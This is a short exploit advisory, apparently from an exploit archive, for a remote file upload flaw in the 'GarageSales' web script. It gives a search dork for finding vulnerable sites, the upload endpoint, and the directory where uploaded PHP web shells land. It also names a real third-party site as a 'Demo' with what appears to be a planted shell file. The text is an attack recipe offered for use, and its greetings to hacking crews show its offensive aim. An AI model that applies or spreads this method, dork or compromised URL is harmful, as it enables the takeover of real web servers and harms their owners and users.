GarageSales Remote Upload Vulnerability

=======================================
GarageSales Remote Upload Vulnerability
=======================================

# Exploit Title: [GarageSales Remote Upload Vulnerability]
# Date: [06/04/2010]
# Author: [saidinh0]
# Software Link: [N/A]
# Version: [2004/2008]
# Tested on: [Linux/unix]
# CVE : [if exists]
# Code : [N/A]
#Email : [email protected]

###################################################
| Intorduction :`|

Hi everybody , This my first bug (Remote Upload Vulnerability) and I wish you like it :p
###################################################

[Dork ]:  inurl:post.php?Category=Garage

{exploit} :  http://127.0.0.1/post.php?Category=Garage

      (Demo) : http://www.jamaicasearch.net/searchgarage/post.php?Category=Garage

After you have uploaded your shells , you will find it in this Path : http://127.0.0.1/up_files/YouRShell.php


Demo : http://www.jamaicasearch.net/searchgarage/up_files/1269813788CrewSheLL.php

###################################################


Greetz To  : All my friends :p , Dos02.com Team ,Moroccan H4x0rz

--=-=-=-=-Dos02.com , owned-m.com/cc , vid2all.com -=-=-=-=--=



#  0day.today [2018-02-19]  #